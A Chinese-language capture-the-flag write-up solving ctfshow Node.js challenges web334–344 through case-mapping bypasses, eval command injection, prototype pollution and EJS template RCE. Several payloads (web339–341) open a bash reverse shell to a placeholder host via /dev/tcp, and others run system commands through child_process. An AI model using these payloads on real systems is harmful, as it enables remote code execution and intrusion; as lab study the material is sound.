文章目錄
- web334
- web335
- web336
- web337
- web338
- web339
- web340
- web341
- web342、343 不會
- web344
web334
在Character.toUpperCase()函式中,字符?會轉變為I,字符?會變為S,
在Character.toLowerCase()函式中,字符?會轉變為i,字符?會轉變為k,
所以用ctf?how 123456登錄就可以出flag了
web335
猜測題目中的代碼為eval('console.log(xxx)')xxx為我們傳入的內容,eval中可以執行js代碼,那么就可以執行系統命令了,
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
web336
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
web337
payload:a[x]=1&b[x]=2
運行如下代碼
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
兩個都會列印出[object Object]flag{xxx},所以他們的md5也是一樣的了,
有同學可能會問為什么傳a[0]=1&b[0]=2不行呢,因為當我們這樣傳的時候相當于創了個變數a=[1] b=[2]
a=[1]
b=[2]
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
列印出來的結果是1flag{xxx}和2flag{xxx}
web338
原型鏈污染漏洞,參考鏈接https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
重點在這個地方

只要滿足secert.ctfshow==='36dboy’就可以了,前面有一個copy函式,可以與鏈接文章里面的merge函式類比.
登錄的時候抓包,修改post的內容

payload:{"__proto__":{"ctfshow":"36dboy"}}
web339
非預期解
ejs rce具體的來看下大佬寫的文章https://xz.aliyun.com/t/7184
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}
接著post訪問api.js就可以反彈shell了
預期解
變數覆寫
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);
運行上面的方法會發現query有了新的值
payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
web340
和上面的題基本類似,但是需要向上污染兩級
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__":{"__proto__":{"query":"123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query);
運行后會發現user.query輸出的是123,說明我們成功污染了兩級,
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}
web341
預期解ejs rce
payload:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}
然后再隨便訪問一下頁面就能觸發rce
web342、343 不會
web344
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
根據原始碼我們正常情況下需要傳?query={"name":"admin","password":"ctfshow","isVIP":true}但是題目把逗號和他的url編碼給過濾掉了,所以需要繞過,
payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
nodejs中會把這三部分拼接起來,為什么把ctfshow中的c編碼呢,因為雙引號的url編碼是%22再和c連接起來就是%22c,會匹配到正則運算式,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/261332.html
標籤:其他
下一篇:第一篇的學習記錄
